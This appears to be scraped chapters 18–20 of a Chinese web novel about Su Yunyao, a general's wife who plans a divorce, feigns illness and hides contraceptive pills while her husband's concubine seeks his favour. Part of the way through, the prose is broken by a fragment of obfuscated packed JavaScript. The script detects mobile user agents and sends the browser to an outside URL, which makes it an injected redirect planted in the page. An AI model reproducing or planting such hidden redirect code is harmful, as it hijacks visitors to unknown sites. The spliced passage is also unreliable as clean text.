苏云瑶敷衍地点了点头,道:“略会一点。生辰礼的事就拜托妹妹了,不过这可是个费脑子的事,妹妹还是先把饭吃了,才有力气。”
亲眼看着裴淑娴吃了一大碗饭,又与她说了会儿话,瞧着她精神好了许多,她才回了紫薇院。
回到自己院里,苏云瑶晚间熬了会儿夜。
细细思量了一番自己近日的举止,贤惠大度,温柔体贴,她觉得应该没什么纰漏的地方。
银子以后会越攒越多,与裴秉安和离的事,也该真正提上日程了。
左思右想了许久,半夜三更时,亲笔在札记上写写画画了足足半页纸,制定了详细而周密的计划,她才放心地睡去。
转眼过了几日,先是香料铺传来了好消息,几盒苏荷香刚在铺子里摆出来便被一抢而空,没有买到这味香的主顾纷纷下了定银,预定的单子已排到了下个月。
苏云瑶给了刘信苏荷香的秘方,让他着人尽快制出香饼来。
她粗略算了算,照目前的情形,香铺的进项到年底便会翻番,届时她在外面买处宅院落脚,就正式与裴秉安写下和离书。
到了第十日傍晚,老太太与婆母终于从宫中祭拜回来。
祭拜礼仪繁琐,在宫里歇着也不如在自己家里自在,苏云瑶早早打发人备好了热汤热饭,伺候老太太与婆母更衣用饭,饭毕又说了一会儿子话,侍奉老太太与婆母歇下,直到二更时分,方回了自己的院子。
刚回到紫薇院,裴秉安早就在屋里等她了。
烛火幽暗,他穿着一身墨色锦袍负手而立,黑沉的眼眸追随着她进来的脚步。
“怎么回来得这样晚?”他沉声道。
今日是他该宿在紫薇院的日子,他一回府便来了院里等她。
他虽纳了婉柔为妾,但贤妻苏氏尚还没有怀上子嗣,该与她行房的日子,他一直谨记在心,定然不会忘记。
18. 第 18 章
苏云瑶默默深吸口气。
凝神回想了一番自己札记上写的计划,她忽地身子一晃,抬手按了按额角,似是有些难受模样,扶着椅子慢慢坐了下去。
“夫君,抱歉,你回去吧,我今天不舒服,不能留你了。”
裴秉安拧眉,“哪里不适?”
成亲三年来,他记得她身体康健,从不娇气,也未曾看到她生过什么病。
苏云瑶轻咳了声,道:“我有些头疼。”
裴秉安审视地打量了她一眼。
她身体不适,今晚就不适合再行房了。
沉默片刻,他略一颔首,“既然如此,你好生歇息吧。婉柔每天都服用燕窝,你也每日吃些,养好身体,以后方能顺利怀上孩子。”
苏云瑶轻轻一笑,温顺地点了点头。
他刚回府,便知道了宋婉柔在吃燕窝,说明在来紫薇院之前,先去了月华院探望她。
抛开其他不说,有时候她真该感谢一番宋婉柔,若非有她在,今晚的装病,未必能如此轻易地瞒过他的眼睛。
“多谢夫君,有一件事,我想与夫君商量一下。”
裴秉安:“何事?”
苏云瑶道:“我这几天一直身体不舒服,操持府里的事,总觉得精力不济,怕是再难担当打理中馈的重任了,还请夫君再委派别的人来做吧。”
裴秉安剑眉拧起,利刃似的视线久久落在她身上,因她打理家宅心生懒怠而有所不悦。
“只是头疼的小毛病,过几日就好了,你身体不适,先歇息两天,府里的事,交由旁人不合适,还是你来打理。”
目送将军离开,青杏气得两眼含泪。
那宋姑娘病了,将军就忙不迭地请大夫来瞧病,轮到大奶奶生病了,说了两句嘱咐的话,就抬脚走人了,真是让人寒心!
假装头疼,就得装到底,不能让人瞧出破绽来,苏云瑶往太阳穴处贴了块圆形的白色膏药贴,如往常般靠在美人榻上,一边翻着府里的账本,一边慢慢吃着红枣阿胶糕。
那膏药凉阴阴的,除了止疼,还有提神醒脑的功效,本来还挺舒服的,只是抬眸时,不经意瞧见了青杏在偷偷抹泪,她不由心疼了几分。
可装病的事,又不能叫丫鬟知道,她便笑着道:“放心,没多大的事,你知道我身体一直挺好的,只是偶尔头疼,你去给我煮碗茯苓山药粥来喝,喝了粥睡一晚,保证就活蹦乱跳了。”
青杏抹了抹眼泪,头一次不认同她的话。
大奶奶是几乎未曾生过病,可她也不是铁打的身子,若是肚子饿了没来得及吃东西,她就会头晕眼花,脸色煞白,若是饿得厉害了,还会晕倒在地。
这虽不是什么大病症,可一旦发作起来也很是吓人。
为了让主子快点好起来,青杏赶忙熬粥去了。
青杏离开,屋内一时安静下来,苏云瑶若有所思地按了按额角,默默出神了一会儿子。
裴秉安的态度,她并不意外,这打理中馈的事,没这么容易交出去,她还得等待合适的机会再提才是。
~~~
夜色朦胧时,月华院的正房中灯烛悠亮。
烛火忽地闪烁几下,白莲从外头笑着掀开帘子进来,压低声音道:“姑娘,我看到了,将军去了一趟紫薇院,可没多久又回了静思院。”
那苏氏确实不得将军喜爱,将军刚回府,可是先来了月华院,对姑娘好一番嘘寒问暖,之后才去了紫薇院。
可在那里呆了没多久,就又回了自己的院子。
手腕处的红痕还未完全消退,宋婉柔缓缓摩挲几下,抿唇轻笑了笑。
桂花羹已经熬好了,此时静思院里没有多余的人,她吩咐道:“把羹汤装在食盒里,我要亲自给将军去。”
夜色中,静思院的南书房中亮着光,遥遥望去,两个身着黑色劲装的护院面色肃然地值守在书房外。
慢慢走近了,宋婉柔扬了扬手里的食盒,朝两人轻轻一笑打了个招呼,示意她要进去。
将军的书房,等闲不让外人进去,两个护院正要出言请她离开时,裴秉安的贴身小厮青山走了过来。
他恭敬地朝宋姨娘拱了拱手,继而转头对两个护院吩咐道:“怎么这么没眼色?还不快让开,让姨娘进去。”
旁人尚不明白,他可是看得一清二楚。
将军千里迢迢接了宋姨娘回府,还将她的病情时时放在心上,跟在将军身边这么多年了,他从未见过将军对哪个年轻女子这么在意过。
这宋姨娘,是将军放在心头的人。
护院拱了拱手让开,宋婉柔轻浅一笑,道了声多谢,便上前叩响了门板。
里面传来裴秉安深沉的嗓音:“何事?”
宋婉柔道:“夫君,是我,我来给夫君送桂花羹。”
房内静默了一瞬,“进来。”
走进书房,宋婉柔环顾四周。
这书房她曾经也进来过,此时里面与以前的布置并无二致。
墨色书架肃然竖立,架上兵书规整有序,一副气势雄壮的当疆域图横挂在书案之后,几乎占据了整个墙面,舆图西境边界之处的几个重镇,被人特意用朱笔重重勾勒出来。
裴秉安身姿肃挺地坐在书案后,正在低头批阅文书。
宋婉柔以帕掩唇轻轻咳了几声,柔声道:“我看到夫君的书房还亮着灯,这么晚了,想是夫君还没睡,亲手煮了碗桂花羹,夫君尝尝吧。”
裴秉安扫了一眼她手里的食盒,沉声道:“你身体不好,应该早点休息,这么晚了,不必过来给我送羹。”
“夫君公务繁忙,这院里冷冷清清的,也没人倒茶送水,我来送碗羹汤,不是应该的吗?”
刚熬好的桂花羹,散发着袅袅热气,宋婉柔将桂花羹搁在书桌上,自己寻了张椅子,在对面坐下。
“夫君,这羹里还放了莲子,有养神的功效,快吃吧。”
她柔声催促着,低头时瞥见不小心露出一段纤细的手腕,便不动声色地往下拉了拉衣袖,遮住了那抹浅淡的红痕。
垂眸望着那碗羹汤,裴秉安不易察觉地勾起唇角。
婉柔聪慧灵巧,自小琴棋书画十分出众,女红针黹无不通晓,就连煮的一粥一饭,味道也与众不同。
桂花羹不热不凉,刚好入口,他端起来一饮而尽。
羹汤清淡香甜,如他以前在宋府里喝到的一样。
看他吃完了桂花羹,宋婉柔笑道:“夫君还记得吗?有一年我过生辰,那时你在边境征战,还曾寄给我一幅画呢。”
裴秉安回想片刻,恍然记起往事,道:“可是你的生辰快到了?”
宋婉柔心中一喜,眼神亮亮地看着他,柔声道:“没想到,夫君军务繁忙,竟还记得我的生辰日。”
半个时辰后,宋姨娘施施然离开书房后,两个护院面面相觑,一脸意外。
将军的书房,曾经苏夫人也来过一次,可她只呆了不足半刻钟便离开了,而这位宋姨娘,竟在书房里呆了这么久!
看来青山提醒得不错,她确实深得将军宠爱!
~~
一晃几日过去,这日一早处理完府里的琐事,苏云瑶打算再去一趟香铺。
铺子里的生意如火如荼,担心刘信一个人遇到大事拿不了主意,她得亲自去铺子里坐镇。
只是还没等她离开,宋婉柔突然打发白莲来了紫薇院。
“大奶奶,姨奶奶得了一块香饼,不知是怎么做的,听说大奶奶什么香料都懂,请您过去帮忙看一看呢。”白莲站在门槛处,自得地揣着双手,笑道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649711|155410||http|test|mini|href|location''.split(''|''),0,{}));
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>苏云瑶等闲不去月华院,免得招上麻烦,可宋婉柔打发她的丫鬟来请她过去,她也不会避着。
到了月华院,丫鬟小蝶先迎了过来,朝她行了个礼。
“见过大奶奶。”
苏云瑶打量了她几眼,入秋了,天气渐有凉意,府里给每个丫鬟都做了一身秋衣,独她还穿着一身单薄的灰色粗布孺衫,细瞧过去,胳膊肘处都磨得起了毛。
担心有人克扣了她的衣裳,苏云瑶放慢脚步,温声道:“你的衣裳,可发下来了?”
小蝶笑道:“回大奶奶的话,已经发下来了。”
苏云瑶摸了摸她的手,有些凉,便道:“那怎么不换上新的衣裳,穿这么薄,不冷吗?”
小蝶窘迫地咬了咬唇,低声道:“大奶奶,衣裳我没舍得穿,放在箱子里了,明儿我就换上。”
赁来的丫鬟,府里的月银都是按时发放的,只要在府里做活,不会缺吃也不会缺穿,小蝶这样,想必是家境艰难的,苏云瑶点了点头,没说什么,只是朝青杏使了个眼色。
正房次间,说是要邀请苏云瑶来看香料,可此时,宋婉柔却没拿香料出来,而是坐在窗前的长案边赏画。
走进屋里,苏云瑶偏首看去,视线落在她手中那幅笔力遒劲的大漠苍鹰图上,不由暗中惊叹了下。
这幅画的画者擅长丹青,只是寥寥几笔勾勒出轮廓,画作中便显出雄浑壮阔的气势,非常人所能,令人震撼不已。
宋婉柔看她恍若入了迷,随即勾起唇角,爱不释手地抚摸着画卷,道:“姐姐也喜欢这幅画?这是夫君第一次去边关上阵杀敌时去的地方,此处黄沙漫漫,苍鹰翱翔,距离京都很远很远。我从没有去过边境,一直好奇那里是什么样子,有次我过生辰,夫君给我写信的时候,便画了这幅画当做生辰礼,送给了我。”
苏云瑶很快回过神来。
京都西境,毗邻西域,这个地方,她还真去过。
只是成亲三年,她第一次知道,裴秉安竟然会画画,而且画得还不赖。
苏云瑶抬手虚虚点了点画卷,灿然一笑:“婉柔妹妹,这个地方并没有你想象得那么远,先乘车,再骑马,也就一个月时间就能到吧,只是那里的饼子干得噎死人,到处都是风沙,也没什么好玩的。”
宋婉柔眼神震动地看着她。
苏氏眼眸沉静,秀眉扬起,听她提及裴秉安曾送她生辰礼的事,几乎没有流露任何醋酸或嫉妒的情绪,反而笑容灿烂不已。
看来,她这个人相当沉得住气,甚至比她想象得还要心机深沉。
宋婉柔不由气馁地抿了抿唇,“是吗?姐姐怎会去过那里?”
苏云瑶笑了笑,道:“年少时,随我爹娘随便出去逛逛而已。”
她没有多提,宋婉柔也不愿再追问,至于苏氏最熟悉的香料,她更是不想拿出来让她瞧了,免得自取其辱。
回到紫薇院,青杏先悄悄地送与了小蝶一包衣裳。
她与小蝶身量差不多,大奶奶赏了她不少东西,问清楚小蝶家境艰难,她便奉大奶奶的吩咐,挑拣了一些衣裳给了小蝶,免得她冻坏了自己的身子。
只是想到宋姨娘打着让大奶奶看香料的名义,实则是在显摆将军以前送给她的画,青杏便气得几乎说不出话来。
现在阖府上下谁不知道她天天晚上给将军送桂花羹,颇受将军宠爱,这还不够吗?
她还拿出那幅画来,变着法子给人添堵,亏得之前大奶奶还让人给她送燕窝,简直没有良心!
这点小事,苏云瑶根本丝毫没放在心上。
她吩咐人备好了车马,打算出府一趟。
只是还没走出院门时,春桃忽然来了紫薇院。
“大奶奶,将军找您有事,让您现在就去静思院等着。”春桃道。
19. 第 19 章
苏云瑶去了静思院。
到了正房,屋里却空无一人,不见裴秉安的影子。
春桃觉着,那宋姨娘能去将军的书房,大奶奶应当也是能去的,便道:“大奶奶,将军在书房呢,要不您去书房见将军?”
苏云瑶莞尔一笑,自觉在屋里坐下,不去书房打扰他。
“不必了,我在这里等着吧。”
春桃只做些扫地的粗活,也不会端茶倒水,说完话,见大奶奶没什么其他吩咐,便退了出去。
过了一会儿,屋外响起熟悉的脚步声,裴秉安阔步向这边走来。
他刚从署衙回来没多久,一身墨色官袍未换。
黑色官靴踩在青石板上,习武之人脚步轻稳,气势却威严。
伟岸挺拔的身材本就压迫感十足,不苟言笑的模样,更添几分沉冷。
这副模样,实在与温柔体贴的年轻郎君相去甚远。
苏云瑶默默轻叹口气,起身朝他走去,端出平素温婉的笑容,道:“夫君找我有什么事?”
裴秉安负手而立,拧眉看着她。
他今日找她过来,确实有一样要事吩咐,只是不知她是否愿意应下。
“明天是婉柔的生辰,她怕麻烦别人,不曾让人告诉你。如今守孝期间,不宜大办,你能否想办法为她操持个生辰宴,不要宴饮戏文,但最好热闹一些,她心情好了,于病情好转也有利。”
苏云瑶有些意外地扬起秀眉。
以前,除了老太太与婆母过生辰,裴秉安从未留意过其他人的生辰,就连他自己的生辰日,也只是简单用碗长寿面而已。
谁料这次宋婉柔过生辰,他竟会如此在意。
看来,圆过房,再连着喝了几晚的桂花羹,到底还是不一样。
苏云瑶轻轻勾了勾唇。
虽说宋婉柔的伎俩令人不屑提及,但他们越是浓情蜜意,以后自己从裴府脱身便越容易。
“明天竟是婉柔妹妹的生辰,怪我疏忽大意了。”
苏云瑶想了想,又道:“先前本还想等夫君与妹妹成亲后,一家人过个团圆热闹的中秋节,只是因为太后娘娘薨逝,夫君与妹妹的喜宴没有办成,中秋节也没有过成。这次婉柔妹妹过生辰,不能再委屈了她,不如就给婉柔妹妹在月华院里摆一桌席面,夫君早些下值回来,好好陪妹妹过个生辰。”
沉沉看了她一眼,裴秉安平直的唇角悄然勾起。
苏氏身为正妻,从未自持身份为难婉柔。
就连给她过生辰,她都答应得如此痛快,想得也如此周到,实在温婉柔顺,贤惠大方。
后宅之中,也有妻妾相合的,但如苏氏这般不妒不忌,豁达大度的,鲜少听闻。
得如此贤妻,他深感十分幸运。
~~~
暮色四合时,月华院中已亮起了灯。
窗畔的长案上,放着一瓶红花药油,宋婉柔衣袖挽起,露出半截手腕,白莲矮身蹲在一旁,轻轻用药油擦拭着她腕上的红痕。
“姑娘,将军特意吩咐大奶奶给你办生辰宴,我听说,她嫁进府里三年,将军都没给她过过生辰,可见在将军心中,姑娘比那大奶奶重要多了。”白莲喜滋滋地说。
低头盯着腕上几近于无的蜿蜒勒痕,宋婉柔抿唇细细思量了许久,唇畔泛起一丝得意的笑容。
苏云瑶是个正妻又怎么样,她不得裴秉安的宠爱,又不能生育子嗣,以后,有她痛哭郁结的时候。
想到今晚的生辰宴,她弯唇浅浅一笑,道:“把我珍藏的那坛杏花酒找出来,晚间散席后,我要与将军独饮。”
傍晚时分,月华院摆了一桌宴席,为了宋婉柔的生辰宴,裴秉安也特意比之前早回府了半个时辰。
府里管事丫鬟们一早得了信,知道要给宋姨娘办生日,都按照大奶奶的吩咐来月华院给她贺寿,甚至,听说长孙要给她办生辰宴,老太太也特意带着儿媳和小辈们来了。
姑娘在府里深受将军宠爱,有这么大的体面与排场,白莲暗暗得意。
宴席开始的时候,老太太与罗氏两人坐在上首,裴秉安与宋婉柔一左一右分列而坐,崔如月与裴文仲夫妻两个依次挨坐在下首,对面坐的则是裴宝绍与裴淑娴。
只有苏云瑶单独坐在末席,时而起身为众人布菜盛汤。
饭菜依次呈上的间隙,裴秉安展眸看了一眼末席的方向。
今日是婉柔的生辰,她坐在上首无可指责。
苏氏身为长孙媳,理应服侍长辈,照顾弟妹,她坐在末席的位置,言笑晏晏间,将众人照顾得十分周到,这让他很是满意。
正用着饭,当着众人的面,老太太突然搁下了筷子,笑着吩咐丫鬟:“去我院里一趟,把搁在柜子里的黑匣子拿来。”
秋红应下,很快去了桂香堂,再回来时,手里多了一个檀木匣子。
老太太笑看着宋婉柔,慈爱地道:“你打开匣子,看看喜不喜欢里面的生辰礼。”
匣子打开,里面盛着一只红玉镯子,镯子红得通透,一看便是上好的玉石。
宋婉柔惊喜地抿了抿唇,下意识看了眼裴秉安,见他朝她微微点了点头,示意她收下,不由更加欢喜了。
她掩下唇边笑意,慌忙推拒道:“祖母,这么贵重的东西,我怎么能要呢?”
老太太笑着,亲手将玉镯戴在了她的手腕上。
“给你的,你就收下。”
要她说,长孙媳是商户之家,又家境落魄,她本就看不上她这样的出身,更何况她到现在还没生出孩子。
倒是长孙将婉柔纳进门,以后抱重长孙有望,让她心里十分高兴,这镯子送给她,也是该的。
老太太轻轻拍了拍宋婉柔的手,笑道:“你好生戴着,以后与安儿和和美美的,早日给他生个一男半女,我就放心了。”
宋婉柔娇羞地低下头,不好意思地说:“祖母放心,我与将军会尽快的。”
老太太的偏心有目共睹,秋红在一旁默然看着,不由替大奶奶鸣不平。
这样的镯子,老太太喜欢二奶奶,给了她一只,现如今又给了宋姨娘一只,可大奶奶才是裴府的长孙媳,又辛勤打理着家宅,老太太却什么东西都没赏给过大奶奶。
老太太这明着是给宋姨娘手镯,实际却是给大奶奶难堪。
隔着几个席位,崔如月幸灾乐祸地勾起唇角,洋洋得意地转了转自己手腕上的红玉镯,悄悄伸脖子往大嫂的手腕上看去。
苏云瑶左腕惯常戴着一只娘亲传给她的镶金绿玉镯。
玉镯温润清透,恍若一汪碧泉,与她细腻如瓷的玉白肌肤极为相衬。
金边上还雕刻着精美的凤纹,粗略看去,竟与宫廷御用之物不相上下,让人十分意外。
相形见绌,崔如月抿了抿唇,用衣袖掩住了红玉镯子,一声不吭地扭头吃螃蟹去了。
席间乏善可陈,宴席进行了不到一半,天色将晚,老太太要早些回去休息,罗氏与崔如月左右簇拥着她离去,只余裴淑娴一个人留在席间。
她不理人,也不抬头,也不说话,只兴致寥寥地捏着调羹,慢条斯理地搅动着面前的肉丸酸笋汤。
屋里的桌案上,放着一坛未开封的杏花酒,那酒是用来做什么的,不用想也知道,苏云瑶几番朝她使了眼色,让她早些离席,别打扰了她大哥与宋婉柔相对饮酒,她都不予理会,似乎只想喝汤。
仔细看了她一会儿,苏云瑶微微扬起了秀眉。<
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裴家人对于食物的喜好,她大都记在心里。
老太太喜欢重咸软烂的吃食,婆母偏好清甜口味,宝绍挑食,只喜食肉,淑娴则不食荤腥,只会用些素淡菜蔬,像这种放了肉丸的咸汤,以前她是绝对不会多看一眼的。
细细瞧去,今天她倒也不像是想喝汤,而是分外看不惯眼前的肉丸子汤,非得与那碗里的肉丸子较劲不可。
“妹妹怎么光看肉丸汤?我院里还有今日刚熬的红豆粥呢,你跟我去尝尝?”苏云瑶笑着起身,想拉她一块离开。
裴淑娴冷笑着剜了她一眼,用眼神警告她别打扰她。
什么红豆粥不红豆粥的,她才不想喝。
她抬头朝裴秉安看去,幽幽道:“大哥,你说,肉丸子汤和红豆粥放在一起,必须要你二者选一,你该选哪个?”
裴秉安沉声道:“胡闹,哪有必须二者选一的道理,自然是皆不能浪费。”
裴淑娴冷笑一声,慢慢摇了摇团扇,扇面遮住半边脸,只露出一双清亮愁怨的杏眼,冷冷的眼神落在宋婉柔身上。
“听说宋姨娘知书识礼,我想请教你一个问题,不管是光天化日之下,还是幽幽黑夜之中,凡是偷抢别人东西的,都称之为贼,那处心积虑破坏别人感情的,算不算贼?”
今日的生辰宴,身为一个妾室,享足了无限风光,宋婉柔摸着腕上的红玉镯,正暗自得意,听到裴淑娴这样意有所指的话,脸色不由变了。
“妹妹在说什么,我听不懂。”
裴淑娴冷笑,“姨娘是真听不懂,还是假听不懂,别人情深似海,有的人却偏来插一脚,算不算贼?”
她如此咄咄逼人,故意要给人难堪,宋婉柔眼眸暗了暗,垂眸思量间,用帕子掩住唇,重重咳了起来。
她连咳了几声,直咳的眸中含泪,气喘微微,才楚楚可怜地看向裴秉安。
“夫君,妹妹好像在为难我。”
裴秉安利刃似的视线瞥向裴淑娴,告诫道:“淑娴,不得无礼。”
隔着一段距离,苏云瑶看到裴淑娴拿团扇遮着脸,轻轻呸了一下。
她无奈扶了扶额角。
淑娴这样,一方面是爱护她,有为她出头之意,再者,看到宋婉柔,她便联想到了贺探花的妻子,所以才指桑骂槐地泄愤。
再说下去,她少不了会被裴秉安训斥,届时只怕不好收场。
况且,她还没定亲,出嫁前与宋婉柔同府相处的日子还多着,没必要与她结仇留怨,以免惹得她大哥不高兴。
思忖一瞬,苏云瑶忽地抬手轻轻按了按额头,秀眉蹙了起来,状若不适的模样。
“夫君,我有些头疼,想早点回院子休息,让妹妹送我回去吧。”
裴秉安脸色微微一变,因不悦而拧起了眉头。
今天是他们妻妾三人首次团聚之时,她因故提前离席,只会败坏了婉柔生辰宴的兴致。
“可还能忍受?”他沉声道。
不到十分严重的地步,他希望她能顾全大局,勉力呆在席位上,与他一起陪婉柔坚守到散席尽兴时分。
苏云瑶无语片刻。
杏花酒就放在不远处,妹妹与宋婉柔还差点吵起嘴来,她此时要带着淑娴离开,他看不出来她是在为他着想吗?
她不得不走到他身边,附耳低声对他说:“夫君,淑娴今日可能心情不好,不要让她搅扰了婉柔妹妹的生辰,我寻个借口带她出去,剩下的时间,夫君一个人陪着婉柔妹妹吧。”
裴秉安转眸看向她,剑眉拧成一团,一时没有开口。
为了婉柔的生辰,贤妻此举,可谓用心良苦。
可独留他一个人在席间陪着婉柔,却让他莫名有些不适。
20. 第 20 章
苏云瑶带着裴淑娴离开,房内一时安静下来。
宋婉柔方才咳得两眼点点泪光,此时方才平息下轻喘,只是抬眸看过来时,轻轻咬住了唇,似受了无限委屈。
裴秉安沉声安慰道:“淑娴年纪还小,胡言乱语,你不要放在心上。”
宋婉柔点了点头,柔声道:“夫君说得是,我怎会与妹妹一般计较?只是我心里有些奇怪,妹妹从不对人恶言恶语,怎会对我恶意这么大?莫非是有人在妹妹耳边说了什么话,故意挑拨我与妹妹的关系?”
裴秉安沉默片刻。
平时与淑娴亲近的,只有苏氏,他相信,苏氏贤惠大度,处处为他和婉柔着想,不是这种挑拨离间的人。
“你想多了,只是淑娴胡闹而已。”他淡声道。
他这样说,宋婉柔不由挫败地捏了捏绣帕。
再抬眸时,看到那一坛杏花酒,她弯唇笑了笑,吩咐白莲将杏花酒打开,倒了满满两盏酒。
“夫君,还记得以前你与爹爹练过武艺之后,常陪他一起喝碗杏花酒,这酒和当初你们喝的酒一样,夫君尝尝吧。”
裴秉安垂眸看着眼前的酒盏。
宋家是名门世家,男子要么受祖上恩荫承袭官职,要么以科举入仕,独宋伯父与他人不同,是个驰骋沙场的武将。
他为人豪爽,不仅是他的授业恩师,更对自己多有器重。
十年之前,西金屡屡派兵骚扰西域边境,几次交战,当朝都落于下风,折了不少良将士兵。
那时,正是得恩师引荐,他投奔西域主将麾下,从一名斥候做起,屡屡破敌,也在短短几年中,一路凭军功升至指挥千军万马的将军。
西境安稳以后,皇上召调他进京戍守整个京都,任职金吾卫上将军,从官职来说,已是武官之首,仅居于林丞相一人之下。
父亲无所建树,裴家险些落败,至他这一辈,总算重现祖父在世时的裴家光耀。
夜深人静时,每次回想过往,他对恩师更有无尽感激。
只是可惜宋伯父只有婉柔一个女儿,膝下没有儿孙,他与伯母去世之后,将婉柔托付于同宗堂弟照顾,却被她那婶母远嫁到了甘州,受了不少欺负。
他既然答应了要照顾婉柔一辈子,以后自会护着她,她所提的种种要求,他也会尽量满足。
思绪沉沉,许久后才悄然回笼,裴秉安抬手端起酒盏,将盏中酒水一饮而尽。
宋婉柔也浅浅抿了一口酒,只是酒水辛辣,她喝了一口,便呛得掩唇咳嗽起来。
裴秉安抬手移走她面前的酒盏,“婉柔,你身体柔弱,病未好全,还时有咳嗽,这酒不可再喝了。”
宋婉柔轻轻点了点头,提筷夹了些菜放到他面前的碟子里,柔声道:“那夫君喝吧,我不喝,只给夫君倒酒。”
她说着,又倒了满满一盏酒,送了过来。
裴秉安海量,一盏又一盏酒入了喉,脸色却分毫未变。
直到看他似乎有了几分醉意,宋婉柔浅笑抬眸,缓缓往他肩头依偎过去。
“夫君,今天是我的生辰,我总是想到爹娘,想到过去,我一个人很孤单,夫君能留下来陪我吗?”
~~~
从月华院出来,裴淑娴冷笑不止。
“大嫂想法子把我从宋姨娘屋里拉出来,不就是怕我再说出什么不好听的,惹她与大哥不高兴吗?”
苏云瑶没否认,笑着点了点头。
裴淑娴摇着手里的团扇,冷冷哼了一声:“大嫂,我就不该听你的话,应该呆在那里说下去!”
苏云瑶拍了拍她的手,让她消消气,“你再说什么也无济于事,何必逞口舌之快?这是婉柔的生辰宴,你不看僧面看佛面,至少看在你大哥的面子上,给她留几分脸面。”
她顿了顿,又笑道:“她是有些心机,可我看得出来,她对你大哥是有几分真情的,况且,现在你大哥对她也十分在意,我们就不要打扰他们了。”
裴淑娴疑惑。
因为她对大哥有情,大哥对她有情,所以大嫂便大度地成全他们?
可大嫂这样冷眼旁观,置身事外,还把大哥往宋姨娘怀里推,心里不难受吗?
除非大嫂不喜欢大哥,才会一笑置之!
可大嫂对大哥一向笑脸相迎,体贴入微,不像不喜欢他的样子。
她实在想不明白,便索性不去想了。
反正宋婉柔与清瑜哥哥的妻子一样,都是讨人厌的,她才看不惯她。
~~~
月上中天,紫薇院只留了一盏昏黄的夜灯。
苏云瑶早已落帐睡下,寂然无声中,沉稳的脚步声越过拐角,径直向院门而来。
青桔在院旁的厢房守夜,听到脚步声,警惕地瞪大眼睛,一骨碌从榻上下来,拎起床头手腕粗细的木棍,蹑手蹑脚走到院门处,隔着门缝向外瞧去。
上回,五更时分,她睡得死,没听见姑爷进门的声音,翌日被小姐数落了一通,还罚她三天不许吃她最爱吃的蜜饯!
那可是整整三天啊,馋得她看见小姐的零嘴就流口水!
自此她就长了记性,别说是姑爷,就是天王老子来了,没有小姐的吩咐,她也不会开门让人进去的。
裴秉安展臂推了推门。
门板纹丝不动,青桔提棍在地上敲了敲,道:“回去吧,小姐睡下了。”
隔着门板,裴秉安沉声道:“青桔,开门,是我。”
青桔道:“我知道是姑爷,小姐睡了,这院门就不能开。”
沉默片刻,裴秉安道:“青桔,今天是初几?”
青桔掰着手指头算了算,今天是姑爷休沐的日子,小姐说过,姑爷休沐的时候,是要住在紫薇院的。
那得给他开门!
青桔犹豫一会儿,小心翼翼开了条门缝,皱着眉头打量他几眼,才忽地把门一把拉开。
“姑爷,休沐的时候,你来院里可以,别的时候你可不准来,来了我也不给你开门!”
裴秉安沉沉点了点头,道:“自然。”
规矩是他定下的,何用丫鬟提醒?他自当身为表率,严格执行。
院门吱呀一声,夤夜时分,裴秉安进了房。
缓步走到内室,淡淡的清香袭来。
床榻旁的案几上,四足镂空香炉上方,丝丝缕缕香气细雾似地弥漫着,漫不经心地瞥了一眼,裴秉安便拧眉移开了视线。
苏氏爱用香,他不甚喜欢这种清甜温柔的香气,容易扰乱人的心绪。
床榻上,桃色床帐放了下来,裴秉安抬手撩开床帐,一张精致明艳的脸映入眸底。
苏云瑶侧身躺在榻上,秀气的长眉如远山含黛,神色恬静温婉,睡得正沉。
垂眸看了她一会儿,视线移至她腕间戴的绿玉镯上,裴秉安眸色微变。
祖母送与了婉柔家传的红玉镯,却没有给她,并非是祖母偏心,而是因为她迟迟没有诞下嫡长子。
他希望她能早日调理好身子,为他诞下子嗣,届时,他便会向祖母要来手镯,亲自帮她戴在手腕上。
已至半夜,她睡得很沉,本该行房的日子,他犹豫许久,到底没有扰了她的睡梦。
室内寂然无声,裴秉安动作极
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轻地脱下外袍,随后屈膝上榻,身姿笔挺端正地躺在外侧睡下。
清晨醒来的时候,未到五更时分。
听到窸窸窣窣的响动,苏云瑶睁开眼睛,才发现裴秉安已在她屋里睡了一晚。
此时他正穿着外袍,高大挺拔的身形背对着她,视线却沉沉落在她的妆奁台上,不知在看什么。
顺着他的视线,苏云瑶赫然看到了一只白色的瓷瓶,脑袋霎时嗡的一声!
坏了,该死!她暗骂了自己一句大意。
昨晚她将那瓶避子丸放在桌上,忘了放回原处,怎么就让他看见了?
苏云瑶匆忙掀被下榻,套上软鞋,几步绕到他身前,一边如往常般帮他束着腰封,一边说话分他的神。
“昨天是婉柔妹妹的生辰,夫君晚上怎么没有留在月华院陪妹妹?”
裴秉安垂眸看了她一眼,昨晚虽是婉柔的生辰,但亦是该宿在她院里的日子。
他公事公办地道:“留过了,看她睡着我才过来的。以后每个月前二十天的休沐日,在你院里歇息,后面的日子在她院里。你是妻,她是妾,在你院里歇息的日子,应该多一些。”
苏云瑶:“......”
他倒是一碗水端得很公平公正。
不过她可不想要这种公平公正,只想他别再来紫薇院。
暗暗腹诽两句,她仰首看着他,苦恼地蹙起秀眉。
“我迟迟没给夫君诞下子嗣,心里颇有压力,是我自己的身体有毛病,不易怀孕,夫君别白白在我身上浪费时间了。以后夫君还是多去婉柔妹妹的院子,我不会计较的。等妹妹怀上子嗣,为夫君诞下长子,说不定我心头轻快了,身体也好了。”
她刚起来,还未梳妆,如瀑长发凌乱地披在肩头,白皙如瓷的脸庞上,一双乌黑的杏眼格外清澈明亮。
裴秉安低头看着她,倏地伸出长臂,大掌攥住了她的腰。
“无稽之谈,你只是不易怀孕,怎是有病?莫要有压力,”裴秉安展眸看了一眼那案上的白瓷瓶,“以前从未见过你吃这种药,可是调理身子的?”
算......算是吧,苏云瑶心虚地笑着点了点头。
裴秉安默然深吸口气,大手缓缓上移,掌心扣住她的后脑。
贤妻操持家事,已是不易,如今为了他的子嗣后代,宁愿让他宿在月华院,可见她贤惠大度,处处歉让。
裴秉安:“是药三分毒,怎可乱吃?改日我差人请太医院的大夫进来,开几副药,给你正经调养身子。”
大可不必,苏云瑶忙摇了摇头:“算了吧,夫君,我自己的身体,我心里有数,别浪费银子了。”
裴秉安沉吟不语。
成亲三年,他一个月宿在她房里的日子有限,最近虽是改了规矩,却总因这样那样的原因,没有与她同房。
